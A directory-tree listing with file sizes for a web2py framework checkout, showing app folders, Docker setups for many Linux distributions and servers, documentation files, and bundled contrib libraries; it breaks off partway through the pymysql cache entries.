│   ├── [ 14K] zh.py │   │   └── [ 14K] zh-tw.py │   ├── [ 208] LICENSE │   ├── [4.0K] models │   │   ├── [7.6K] db.py │   │   └── [5.1K] menu.py │   ├── [4.0K] modules │   │   ├── [ 1] __init__.py │   │   └── [4.0K] __pycache__ │   │   ├── [ 195] __init__.cpython-311.pyc │   │   └── [ 173] __init__.cpython-37.pyc │   ├── [4.0K] private │   │   └── [ 613] appconfig.ini │   ├── [4.0K] __pycache__ │   │   ├── [ 187] __init__.cpython-311.pyc │   │   └── [ 165] __init__.cpython-37.pyc │   ├── [2.3K] routes.example.py │   ├── [4.0K] static │   │   ├── [ 4] 403.html │   │   ├── [ 4] 404.html │   │   ├── [ 4] 500.html │   │   ├── [ 67] 503.html │   │   ├── [4.0K] css │   │   │   ├── [141K] bootstrap.min.css │   │   │   ├── [539K] bootstrap.min.css.map │   │   │   ├── [2.9K] calendar.css │   │   │   ├── [6.9K] web2py-bootstrap4.css │   │   │   └── [8.2K] web2py.css │   │   ├── [4.0K] images │   │   │   ├── [ 323] background.jpg │   │   │   ├── [ 991] facebook.png │   │   │   ├── [ 198] favicon.ico │   │   │   ├── [ 323] favicon.png │   │   │   ├── [1.5K] gplus-32.png │   │   │   └── [1.1K] twitter.png │   │   └── [4.0K] js │   │   ├── [233K] analytics.min.js │   │   ├── [ 66K] bootstrap.bundle.min.js │   │   ├── [267K] bootstrap.bundle.min.js.map │   │   ├── [ 51K] calendar.js │   │   ├── [ 85K] jquery.js │   │   ├── [ 15K] modernizr-2.8.3.min.js │   │   ├── [3.0K] web2py-bootstrap4.js │   │   └── [ 36K] web2py.js │   └── [4.0K] views │   ├── [ 11K] appadmin.html │   ├── [4.0K] default │   │   ├── [2.4K] index.html │   │   └── [1.2K] user.html │   ├── [ 704] generic.csv │   ├── [ 380] generic.html │   ├── [ 518] generic.ics │   ├── [ 69] generic.json │   ├── [ 753] generic.jsonp │   ├── [ 875] generic.load │   ├── [2.7K] generic.map │   ├── [ 300] generic.pdf │   ├── [ 364] generic.rss │   ├── [ 79] generic.xml │   ├── [ 1] __init__.py │   ├── [6.5K] layout.html │   └── [ 821] web2py_ajax.html ├── [ 945] appveyor.yml ├── [ 66K] CHANGELOG ├── [4.0K] docker │   ├── [4.0K] alpine │   │   ├── [4.0K] web2py-gevent │   │   │   ├── [ 180] docker-compose.yml │   │   │   ├── [ 702] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-gunicorn │   │   │   ├── [ 182] docker-compose.yml │   │   │   ├── [ 706] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-paste │   │   │   ├── [ 179] docker-compose.yml │   │   │   ├── [ 696] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-rocket │   │   │   ├── [ 180] docker-compose.yml │   │   │   ├── [ 698] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-rocket-ssl │   │   │   ├── [ 170] docker-compose.yml │   │   │   ├── [ 764] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-tornado │   │   │   ├── [ 181] docker-compose.yml │   │   │   ├── [ 704] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-waitress │   │   │   ├── [ 182] docker-compose.yml │   │   │   ├── [ 706] Dockerfile │   │   │   └── [1.1K] README.md │   │   └── [4.0K] web2py-wsgiref │   │   ├── [ 181] docker-compose.yml │   │   ├── [ 700] Dockerfile │   │   └── [1.1K] README.md │   ├── [4.0K] centos │   │   ├── [4.0K] web2py-eventlet │   │   │   ├── [ 182] docker-compose.yml │   │   │   ├── [ 761] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-gevent │   │   │   ├── [ 180] docker-compose.yml │   │   │   ├── [ 757] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-gunicorn │   │   │   ├── [ 182] docker-compose.yml │   │   │   ├── [ 761] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-paste │   │   │   ├── [ 179] docker-compose.yml │   │   │   ├── [ 755] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-rocket │   │   │   ├── [ 180] docker-compose.yml │   │   │   ├── [ 749] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-tornado │   │   │   ├── [ 181] docker-compose.yml │   │   │   ├── [ 759] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-twisted │   │   │   ├── [ 181] docker-compose.yml │   │   │   ├── [ 763] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-waitress │   │   │   ├── [ 182] docker-compose.yml │   │   │   ├── [ 761] Dockerfile │   │   │   └── [1.1K] README.md │   │   └── [4.0K] web2py-wsgiref │   │   ├── [ 181] docker-compose.yml │   │   ├── [ 751] Dockerfile │   │   └── [1.1K] README.md │   ├── [4.0K] debian │   │   ├── [4.0K] web2py-diesel │   │   │   ├── [ 180] docker-compose.yml │   │   │   ├── [ 687] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-eventlet │   │   │   ├── [ 182] docker-compose.yml │   │   │   ├── [ 699] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-gevent │   │   │   ├── [ 180] docker-compose.yml │   │   │   ├── [ 695] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-gunicorn │   │   │   ├── [ 182] docker-compose.yml │   │   │   ├── [ 699] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-paste │   │   │   ├── [ 179] docker-compose.yml │   │   │   ├── [ 693] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-rocket │   │   │   ├── [ 180] docker-compose.yml │   │   │   ├── [ 719] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-tornado │   │   │   ├── [ 181] docker-compose.yml │   │   │   ├── [ 697] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-twisted │   │   │   ├── [ 181] docker-compose.yml │   │   │   ├── [ 697] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-waitress │   │   │   ├── [ 182] docker-compose.yml │   │   │   ├── [ 691] Dockerfile │   │   │   └── [1.1K] README.md │   │   └── [4.0K] web2py-wsgiref │   │   ├── [ 181] docker-compose.yml │   │   ├── [ 689] Dockerfile │   │   └── [1.1K] README.md │   ├── [4.0K] fedora │   │   ├── [4.0K] web2py-eventlet │   │   │   ├── [ 182] docker-compose.yml │   │   │   ├── [ 727] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-gevent │   │   │   ├── [ 180] docker-compose.yml │   │   │   ├── [ 723] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-gunicorn │   │   │   ├── [ 182] docker-compose.yml │   │   │   ├── [ 727] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-paste │   │   │   ├── [ 179] docker-compose.yml │   │   │   ├── [ 721] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-rocket │   │   │   ├── [ 180] docker-compose.yml │   │   │   ├── [ 715] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-tornado │   │   │   ├── [ 181] docker-compose.yml │   │   │   ├── [ 725] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-twisted │   │   │   ├── [ 181] docker-compose.yml │   │   │   ├── [ 725] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-waitress │   │   │   ├── [ 182] docker-compose.yml │   │   │   ├── [ 727] Dockerfile │   │   │   └── [1.1K] README.md │   │   └── [4.0K] web2py-wsgiref │   │   ├── [ 181] docker-compose.yml │   │   ├── [ 717] Dockerfile │   │   └── [1.1K] README.md │   ├── [4.0K] opensuse │   │   ├── [4.0K] web2py-eventlet │   │   │   ├── [ 182] docker-compose.yml │   │   │   ├── [ 714] Dockerfile │   │   │   └── [1.2K] README.md │   │   ├── [4.0K] web2py-gevent │   │   │   ├── [ 180] docker-compose.yml │   │   │   ├── [ 710] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-gunicorn │   │   │   ├── [ 182] docker-compose.yml │   │   │   ├── [ 714] Dockerfile │   │   │   └── [1.2K] README.md │   │   ├── [4.0K] web2py-paste │   │   │   ├── [ 179] docker-compose.yml │   │   │   ├── [ 708] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-rocket │   │   │   ├── [ 180] docker-compose.yml │   │   │   ├── [ 702] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-tornado │   │   │   ├── [ 181] docker-compose.yml │   │   │   ├── [ 712] Dockerfile │   │   │   └── [1.2K] README.md │   │   ├── [4.0K] web2py-twisted │   │   │   ├── [ 181] docker-compose.yml │   │   │   ├── [ 712] Dockerfile │   │   │   └── [1.2K] README.md │   │   ├── [4.0K] web2py-waitress │   │   │   ├── [ 182] docker-compose.yml │   │   │   ├── [ 714] Dockerfile │   │   │   └── [1.2K] README.md │   │   └── [4.0K] web2py-wsgiref │   │   ├── [ 181] docker-compose.yml │   │   ├── [ 712] Dockerfile │   │   └── [1.2K] README.md │   ├── [4.0K] python │   │   ├── [4.0K] web2py-diesel │   │   │   ├── [ 180] docker-compose.yml │   │   │   ├── [ 550] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-gevent │   │   │   ├── [ 180] docker-compose.yml │   │   │   ├── [ 550] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-gunicorn │   │   │   ├── [ 182] docker-compose.yml │   │   │   ├── [ 554] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-paste │   │   │   ├── [ 179] docker-compose.yml │   │   │   ├── [ 548] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-rocket │   │   │   ├── [ 180] docker-compose.yml │   │   │   ├── [ 497] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-rocket-ssl │   │   │   ├── [ 170] docker-compose.yml │   │   │   ├── [ 676] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-tornado │   │   │   ├── [ 181] docker-compose.yml │   │   │   ├── [ 552] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-twisted │   │   │   ├── [ 181] docker-compose.yml │   │   │   ├── [ 552] Dockerfile │   │   │   └── [1.1K] README.md │   │   ├── [4.0K] web2py-waitress │   │   │   ├── [ 182] docker-compose.yml │   │   │   ├── [ 554] Dockerfile │   │   │   └── [1.1K] README.md │   │   └── [4.0K] web2py-wsgiref │   │   ├── [ 181] docker-compose.yml │   │   ├── [ 552] Dockerfile │   │   └── [1.1K] README.md │   ├── [4.0K] stack │   │   ├── [4.0K] web2py-gunicorn-nginx │   │   │   ├── [ 614] docker-compose.yml │   │   │   ├── [1007] README.md │   │   │   ├── [1.2K] run.sh │   │   │   ├── [ 490] w2p.conf │   │   │   ├── [ 474] web2py-gunicorn │   │   │   └── [ 137] web2py-nginx │   │   ├── [4.0K] web2py-rocket-nginx │   │   │   ├── [ 608] docker-compose.yml │   │   │   ├── [ 993] README.md │   │   │   ├── [1.2K] run.sh │   │   │   ├── [ 488] w2p.conf │   │   │   ├── [ 137] web2py-nginx │   │   │   └── [ 679] web2py-rocket │   │   ├── [4.0K] web2py-rocket-ssl-nginx │   │   │   ├── [ 610] docker-compose.yml │   │   │   ├── [1021] README.md │   │   │   ├── [1.2K] run.sh │   │   │   ├── [ 493] w2p.conf │   │   │   ├── [ 137] web2py-nginx │   │   │   └── [ 724] web2py-rocket-ssl │   │   ├── [4.0K] web2py-rocket-ssl-nginx-db-adminer │   │   │   ├── [ 988] docker-compose.yml │   │   │   ├── [1.1K] README.md │   │   │   ├── [2.1K] run.sh │   │   │   ├── [ 490] w2p.conf │   │   │   ├── [ 33] web2py-adminer │   │   │   ├── [ 184] web2py-db │   │   │   ├── [ 137] web2py-nginx │   │   │   └── [ 755] web2py-rocket-ssl │   │   ├── [4.0K] web2py-rocket-ssl-nginx-memcached │   │   │   ├── [ 797] docker-compose.yml │   │   │   ├── [1.1K] README.md │   │   │   ├── [1.7K] run.sh │   │   │   ├── [ 490] w2p.conf │   │   │   ├── [ 22] web2py-memcached │   │   │   ├── [ 137] web2py-nginx │   │   │   └── [ 724] web2py-rocket-ssl │   │   ├── [4.0K] web2py-rocket-ssl-nginx-redis │   │   │   ├── [ 785] docker-compose.yml │   │   │   ├── [1.1K] README.md │   │   │   ├── [1.7K] run.sh │   │   │   ├── [ 490] w2p.conf │   │   │   ├── [ 137] web2py-nginx │   │   │   ├── [ 18] web2py-redis │   │   │   └── [ 729] web2py-rocket-ssl │   │   └── [4.0K] web2py-tornado-nginx │   │   ├── [ 611] docker-compose.yml │   │   ├── [1000] README.md │   │   ├── [1.2K] run.sh │   │   ├── [ 485] w2p.conf │   │   ├── [ 137] web2py-nginx │   │   └── [ 685] web2py-tornado │   └── [4.0K] ubuntu │   ├── [4.0K] web2py-diesel │   │   ├── [ 180] docker-compose.yml │   │   ├── [ 687] Dockerfile │   │   └── [1.1K] README.md │   ├── [4.0K] web2py-eventlet │   │   ├── [ 182] docker-compose.yml │   │   ├── [ 699] Dockerfile │   │   └── [1.1K] README.md │   ├── [4.0K] web2py-gevent │   │   ├── [ 180] docker-compose.yml │   │   ├── [ 695] Dockerfile │   │   └── [1.1K] README.md │   ├── [4.0K] web2py-gunicorn │   │   ├── [ 182] docker-compose.yml │   │   ├── [ 699] Dockerfile │   │   └── [1.1K] README.md │   ├── [4.0K] web2py-paste │   │   ├── [ 179] docker-compose.yml │   │   ├── [ 693] Dockerfile │   │   └── [1.1K] README.md │   ├── [4.0K] web2py-rocket │   │   ├── [ 180] docker-compose.yml │   │   ├── [ 687] Dockerfile │   │   └── [1.1K] README.md │   ├── [4.0K] web2py-tornado │   │   ├── [ 181] docker-compose.yml │   │   ├── [ 697] Dockerfile │   │   └── [1.1K] README.md │   ├── [4.0K] web2py-twisted │   │   ├── [ 181] docker-compose.yml │   │   ├── [ 697] Dockerfile │   │   └── [1.1K] README.md │   ├── [4.0K] web2py-waitress │   │   ├── [ 182] docker-compose.yml │   │   ├── [ 699] Dockerfile │   │   └── [1.1K] README.md │   └── [4.0K] web2py-wsgiref │   ├── [ 181] docker-compose.yml │   ├── [ 689] Dockerfile │   └── [1.1K] README.md ├── [4.0K] docs │   ├── [ 127] admin.rst │   ├── [ 126] cache.rst │   ├── [ 121] cfs.rst │   ├── [ 142] compileapp.rst │   ├── [8.0K] conf.py │   ├── [ 145] contenttype.rst │   ├── [ 151] custom_import.rst │   ├── [ 188] dal.rst │   ├── [ 127] debug.rst │   ├── [ 133] decoder.rst │   ├── [ 139] fileutils.rst │   ├── [ 133] globals.rst │   ├── [ 139] highlight.rst │   ├── [ 124] html.rst │   ├── [ 126] http.rst │   ├── [ 657] index.rst │   ├── [ 139] languages.rst │   ├── [ 126] main.rst │   ├── [6.7K] Makefile │   ├── [ 163] messageboxhandler.rst │   ├── [ 133] myregex.rst │   ├── [ 133] newcron.rst │   ├── [ 145] portalocker.rst │   ├── [ 134] recfile.rst │   ├── [ 29] requirements.txt │   ├── [ 142] restricted.rst │   ├── [ 133] rewrite.rst │   ├── [ 139] sanitizer.rst │   ├── [ 139] scheduler.rst │   ├── [ 145] serializers.rst │   ├── [ 136] settings.rst │   ├── [ 128] shell.rst │   ├── [ 133] sqlhtml.rst │   ├── [ 124] sql.rst │   ├── [ 133] storage.rst │   ├── [ 136] streamer.rst │   ├── [ 136] template.rst │   ├── [ 128] tools.rst │   ├── [ 126] utf8.rst │   ├── [ 128] utils.rst │   ├── [ 142] validators.rst │   ├── [ 130] widget.rst │   └── [ 131] xmlrpc.rst ├── [4.0K] examples │   ├── [ 158] appengine_config.example.py │   ├── [2.2K] app.example.yaml │   ├── [3.8K] logging.example.conf │   ├── [ 224] queue.example.yaml │   ├── [ 132] README │   ├── [9.4K] routes.parametric.example.py │   ├── [7.7K] routes.patterns.example.py │   └── [2.1K] web.config ├── [4.0K] extras │   ├── [4.0K] build_web2py │   │   ├── [6.2K] build_web2py.py │   │   ├── [2.4K] README_mac.md │   │   ├── [ 190] README.md │   │   ├── [3.2K] README_win.md │   │   ├── [2.5K] web2py.mac.spec │   │   ├── [134K] web2py.site_27.py │   │   ├── [112K] web2py.site_37.py │   │   ├── [2.2K] web2py.win_no_console.spec │   │   └── [2.2K] web2py.win.spec │   └── [4.0K] icons │   ├── [8.9K] splashlogo.gif │   ├── [4.3K] web2py.gif │   ├── [ 38K] web2py.icns │   └── [111K] web2py.ico ├── [5.9K] fabfile.py ├── [4.0K] gluon │   ├── [ 13K] admin.py │   ├── [ 44K] authapi.py │   ├── [ 26K] cache.py │   ├── [1.4K] cfs.py │   ├── [ 28] _compat.py │   ├── [ 28K] compileapp.py │   ├── [ 31K] console.py │   ├── [ 30K] contenttype.py │   ├── [4.0K] contrib │   │   ├── [4.5K] appconfig.py │   │   ├── [ 10K] AuthorizeNet.py │   │   ├── [6.2K] autolinks.py │   │   ├── [ 38K] dbg.py │   │   ├── [9.0K] DowCommerce.py │   │   ├── [156K] feedparser.py │   │   ├── [4.0K] fpdf │   │   │   ├── [ 26K] fonts.py │   │   │   ├── [ 77K] fpdf.py │   │   │   ├── [ 14K] html.py │   │   │   ├── [ 415] __init__.py │   │   │   ├── [1.5K] php.py │   │   │   ├── [1.7K] py3k.py │   │   │   ├── [9.2K] template.py │   │   │   └── [ 41K] ttfonts.py │   │   ├── [1.8K] gae_memcache.py │   │   ├── [3.6K] gae_retry.py │   │   ├── [4.0K] gateways │   │   │   ├── [ 43K] fcgi.py │   │   │   └── [ 2] __init__.py │   │   ├── [2.5K] generics.py │   │   ├── [1.1K] google_wallet.py │   │   ├── [ 778] heroku.py │   │   ├── [ 16K] hypermedia.py │   │   ├── [2.3K] imageutils.py │   │   ├── [ 0] __init__.py │   │   ├── [4.0K] login_methods │   │   │   ├── [ 772] basic_auth.py │   │   │   ├── [4.3K] browserid_account.py │   │   │   ├── [5.4K] cas_auth.py │   │   │   ├── [4.4K] dropbox_account.py │   │   │   ├── [1.5K] email_auth.py │   │   │   ├── [3.4K] extended_login_form.py │   │   │   ├── [1.7K] freeipa_auth.py │   │   │   ├── [1.1K] gae_google_account.py │   │   │   ├── [ 1] __init__.py │   │   │   ├── [5.3K] janrain_account.py │   │   │   ├── [ 32K] ldap_auth.py │   │   │   ├── [1.5K] linkedin_account.py │   │   │   ├── [3.7K] loginradius_account.py │   │   │   ├── [4.5K] loginza.py │   │   │   ├── [4.5K] motp_auth.py │   │   │   ├── [6.3K] oauth10a_account.py │   │   │   ├── [ 11K] oauth20_account.py │   │   │   ├── [4.4K] oneall_account.py │   │   │   ├── [ 25K] openid_auth.py │   │   │   ├── [ 551] pam_auth.py │   │   │   ├── [5.2K] rpx_account.py │   │   │   ├── [7.9K] saml2_auth.py │   │   │   └── [3.3K] x509_auth.py │   │   ├── [4.0K] markdown │   │   │   ├── [ 574] __init__.py │   │   │   ├── [ 43] LICENSE │   │   │   └── [ 97K] markdown2.py │   │   ├── [4.0K] markmin │   │   │   ├── [ 2] __init__.py │   │   │   ├── [ 56K] markmin2html.py │   │   │   ├── [ 12K] markmin2latex.py │   │   │   ├── [3.6K] markmin2pdf.py │   │   │   ├── [ 16K] markmin.html │   │   │   ├── [114K] markmin.pdf │   │   │   └── [4.0K] __pycache__ │   │   │   ├── [ 188] __init__.cpython-311.pyc │   │   │   ├── [ 166] __init__.cpython-37.pyc │   │   │   ├── [ 65K] markmin2html.cpython-311.pyc │   │   │   └── [ 45K] markmin2html.cpython-37.pyc │   │   ├── [4.0K] memcache │   │   │   ├── [ 14K] ChangeLog │   │   │   ├── [3.7K] __init__.py │   │   │   ├── [ 54K] memcache.py │   │   │   ├── [ 348] PKG-INFO │   │   │   └── [ 422] README │   │   ├── [ 28K] memdb.py │   │   ├── [4.0K] minify │   │   │   ├── [6.8K] cssmin.py │   │   │   ├── [ 494] htmlmin.py │   │   │   ├── [ 0] __init__.py │   │   │   ├── [ 14K] jsmin.py │   │   │   ├── [4.9K] minify.py │   │   │   └── [4.0K] __pycache__ │   │   │   ├── [ 10K] cssmin.cpython-311.pyc │   │   │   ├── [5.6K] cssmin.cpython-37.pyc │   │   │   ├── [ 187] __init__.cpython-311.pyc │   │   │   ├── [ 165] __init__.cpython-37.pyc │   │   │   ├── [ 16K] jsmin.cpython-311.pyc │   │   │   ├── [ 12K] jsmin.cpython-37.pyc │   │   │   ├── [7.9K] minify.cpython-311.pyc │   │   │   └── [4.0K] minify.cpython-37.pyc │   │   ├── [ 214] ordereddict.py │   │   ├── [3.7K] pam.py │   │   ├── [ 11K] paymentech.py │   │   ├── [7.3K] pbkdf2_ctypes.py │   │   ├── [4.7K] pbkdf2.py │   │   ├── [6.9K] pdfinvoice.py │   │   ├── [4.0K] plural_rules │   │   │   ├── [ 598] af.py │   │   │   ├── [ 76] ar.py │   │   │   ├── [ 583] bg.py │   │   │   ├── [1.2K] ca.py │   │   │   ├── [ 659] cs.py │   │   │   ├── [ 578] de.py │   │   │   ├── [ 724] en.py │   │   │   ├── [ 752] es.py │   │   │   ├── [ 78] fa.py │   │   │   ├── [1.8K] fr.py │   │   │   ├── [ 577] he.py │   │   │   ├── [ 566] hi.py │   │   │   ├── [ 583] hu.py │   │   │   ├── [ 585] id.py │   │   │   ├── [ 1] __init__.py │   │   │   ├── [ 579] it.py │   │   │   ├── [ 406] ja.py │   │   │   ├── [ 728] lt.py │   │   │   ├── [ 575] my.py │   │   │   ├── [ 580] nl.py │   │   │   ├── [ 655] pl.py │   │   │   ├── [ 576] pt.py │   │   │   ├── [4.0K] __pycache__ │   │   │   │   ├── [ 377] af.cpython-311.pyc │   │   │   │   ├── [ 303] af.cpython-37.pyc │   │   │   │   ├── [ 187] ar.cpython-311.pyc │   │   │   │   ├── [ 165] ar.cpython-37.pyc │   │   │   │   ├── [ 377] bg.cpython-311.pyc │   │   │   │   ├── [ 303] bg.cpython-37.pyc │   │   │   │   ├── [1.2K] ca.cpython-311.pyc │   │   │   │   ├── [ 740] ca.cpython-37.pyc │   │   │   │   ├── [ 445] cs.cpython-311.pyc │   │   │   │   ├── [ 352] cs.cpython-37.pyc │   │   │   │   ├── [ 377] de.cpython-311.pyc │   │   │   │   ├── [ 303] de.cpython-37.pyc │   │   │   │   ├── [ 673] en.cpython-311.pyc │   │   │   │   ├── [ 508] en.cpython-37.pyc │   │   │   │   ├── [ 692] es.cpython-311.pyc │   │   │   │   ├── [ 522] es.cpython-37.pyc │   │   │   │   ├── [ 187] fa.cpython-311.pyc │   │   │   │   ├── [ 165] fa.cpython-37.pyc │   │   │   │   ├── [2.0K] fr.cpython-311.pyc │   │   │   │   ├── [1.4K] fr.cpython-37.pyc │   │   │   │   ├── [ 377] he.cpython-311.pyc │   │   │   │   ├── [ 303] he.cpython-37.pyc │   │   │   │   ├── [ 377] hi.cpython-311.pyc │   │   │   │   ├── [ 303] hi.cpython-37.pyc │   │   │   │   ├── [ 377] hu.cpython-311.pyc │   │   │   │   ├── [ 303] hu.cpython-37.pyc │   │   │   │   ├── [ 377] id.cpython-311.pyc │   │   │   │   ├── [ 303] id.cpython-37.pyc │   │   │   │   ├── [ 193] __init__.cpython-311.pyc │   │   │   │   ├── [ 171] __init__.cpython-37.pyc │   │   │   │   ├── [ 377] it.cpython-311.pyc │   │   │   │   ├── [ 303] it.cpython-37.pyc │   │   │   │   ├── [ 330] ja.cpython-311.pyc │   │   │   │   ├── [ 293] ja.cpython-37.pyc │   │   │   │   ├── [ 534] lt.cpython-311.pyc │   │   │   │   ├── [ 395] lt.cpython-37.pyc │   │   │   │   ├── [ 377] my.cpython-311.pyc │   │   │   │   ├── [ 303] my.cpython-37.pyc │   │   │   │   ├── [ 377] nl.cpython-311.pyc │   │   │   │   ├── [ 303] nl.cpython-37.pyc │   │   │   │   ├── [ 445] pl.cpython-311.pyc │   │   │   │   ├── [ 352] pl.cpython-37.pyc │   │   │   │   ├── [ 377] pt.cpython-311.pyc │   │   │   │   ├── [ 303] pt.cpython-37.pyc │   │   │   │   ├── [ 377] ro.cpython-311.pyc │   │   │   │   ├── [ 303] ro.cpython-37.pyc │   │   │   │   ├── [ 573] ru.cpython-311.pyc │   │   │   │   ├── [ 414] ru.cpython-37.pyc │   │   │   │   ├── [ 573] sk.cpython-311.pyc │   │   │   │   ├── [ 414] sk.cpython-37.pyc │   │   │   │   ├── [ 483] sl.cpython-311.pyc │   │   │   │   ├── [ 379] sl.cpython-37.pyc │   │   │   │   ├── [ 330] tr.cpython-311.pyc │   │   │   │   ├── [ 293] tr.cpython-37.pyc │   │   │   │   ├── [ 573] uk.cpython-311.pyc │   │   │   │   ├── [ 414] uk.cpython-37.pyc │   │   │   │   ├── [ 330] zh.cpython-311.pyc │   │   │   │   └── [ 293] zh.cpython-37.pyc │   │   │   ├── [ 572] ro.py │   │   │   ├── [ 771] ru.py │   │   │   ├── [ 778] sk.py │   │   │   ├── [ 728] sl.py │   │   │   ├── [ 404] tr.py │   │   │   ├── [ 778] uk.py │   │   │   └── [ 404] zh.py │   │   ├── [ 17K] populate.py │   │   ├── [4.0K] pyaes │   │   │   ├── [ 59K] aes.py │   │   │   ├── [7.9K] blockfeeder.py │   │   │   ├── [2.0K] __init__.py │   │   │   ├── [1.1K] LICENSE.txt │   │   │   ├── [4.0K] __pycache__ │   │   │   │   ├── [ 53K] aes.cpython-311.pyc │   │   │   │   ├── [8.7K] blockfeeder.cpython-311.pyc │   │   │   │   ├── [ 819] __init__.cpython-311.pyc │   │   │   │   └── [1.8K] util.cpython-311.pyc │   │   │   ├── [ 11K] README.md │   │   │   └── [2.0K] util.py │   │   ├── [4.0K] __pycache__ │   │   │   ├── [8.0K] appconfig.cpython-311.pyc │   │   │   ├── [4.4K] appconfig.cpython-37.pyc │   │   │   ├── [9.7K] autolinks.cpython-311.pyc │   │   │   ├── [6.4K] autolinks.cpython-37.pyc │   │   │   ├── [ 180] __init__.cpython-311.pyc │   │   │   ├── [ 158] __init__.cpython-37.pyc │   │   │   ├── [115K] pypyodbc.cpython-311.pyc │   │   │   ├── [ 61K] pypyodbc.cpython-37.pyc │   │   │   ├── [ 22K] rss2.cpython-311.pyc │   │   │   ├── [ 14K] rss2.cpython-37.pyc │   │   │   ├── [ 36K] user_agent_parser.cpython-311.pyc │   │   │   └── [ 23K] user_agent_parser.cpython-37.pyc │   │   ├── [ 416] pyfpdf.py │   │   ├── [4.0K] pymysql │   │   │   ├── [1.6K] CHANGELOG │   │   │   ├── [ 13K] charset.py │   │   │   ├── [ 481] _compat.py │   │   │   ├── [ 54K] connections.py │   │   │   ├── [4.0K] constants │   │   │   │   ├── [ 856] CLIENT.py │   │   │   │   ├── [ 680] COMMAND.py │   │   │   │   ├── [2.2K] CR.py │   │   │   │   ├── [ 12K] ER.py │   │   │   │   ├── [ 372] FIELD_TYPE.py │   │   │   │   ├── [ 214] FLAG.py │   │   │   │   ├── [ 0] __init__.py │   │   │   │   ├── [4.0K] __pycache__ │   │   │   │   │   ├── [1015] CLIENT.cpython-311.pyc │   │   │   │   │   ├── [ 841] CLIENT.cpython-37.pyc │   │   │   │   │   ├── [1.1K] COMMAND.cpython-311.pyc │   │   │   │   │   ├── [1009] COMMAND.cpython-37.pyc │   │   │   │   │   ├── [ 17K] ER.cpython-311.pyc │   │   │   │   │   ├── [ 15K] ER.cpython-37.pyc │   │   │   │   │   ├── [ 847] FIELD_TYPE.cpython-311.pyc │   │   │   │   │   ├── [ 737] FIELD_TYPE.cpython-37.pyc │   │   │   │   │   ├── [ 537] FLAG.cpython-311.pyc │   │   │   │   │   ├── [ 474] FLAG.cpython-37.pyc │   │   │   │   │   ├── [ 198] __init__.cpython-311.pyc │   │   │   │   │   ├── [ 176] __init__.cpython-37.pyc │   │   │   │   │   ├── [ 637] SERVER_STATUS.cpython-311.pyc │   │   │   │   │   └── [ 577] SERVER_STATUS.cpython-37.pyc │   │   │   │   └── [ 334] SERVER_STATUS.py │   │   │   ├── [ 12K] converters.py │   │   │   ├── [ 16K] cursors.py │   │   │   ├── [3.5K] err.py │   │   │   ├── [4.4K] __init__.py │   │   │   ├── [1.0K] LICENSE │   │   │   ├── [ 522] optionfile.py │   │   │   ├── [4.0K] __pycache__ │   │   │   │   ├── [ 28K] charset.cpython-311.pyc │   │   │   │   ├── [ 11K] charset.cpython-37.pyc │   │   │   │   ├── [ 834] _compat.cpython-311.pyc │   │   │   │   ├── [ 580] _compat.cpython-37.pyc │   │   │   │   ├── [ 77K] connections.cpython-311.pyc │   │   │   │   ├── [ 43K] connections.cpython-37.pyc │   │   │   │   ├── [ 19K] converters.cpython-311.pyc │   │   │   │   ├── [ 12K] converters.cpython-37.pyc │   │   │   │   ├── [ 26K] cursors.cpython-311.pyc │   │   │   │   ├── [ 16K] cursors.cpython-37.pyc │   │   │   │   ├── [6.5K] err.cpython-311.pyc │   │   │   │   ├── [4.7K] err.cpython-37.pyc │   │   │   │   ├── [6.0K] __init__.cpython-311.pyc │   │   │   │   ├── [4.4K] __init__.cpython-37.pyc │   │   │   │   ├── [1.3K] optionfile.cpython-311.pyc │   │   │   │   ├── [ 881] optionfile.cpython-37.pyc │   │   │   │   ├── [1.1K] times.cpython-311.pyc │   │   │   │   ├── [ 748] times.cpython-37.pyc │   │   │   │   ├── [ 987] 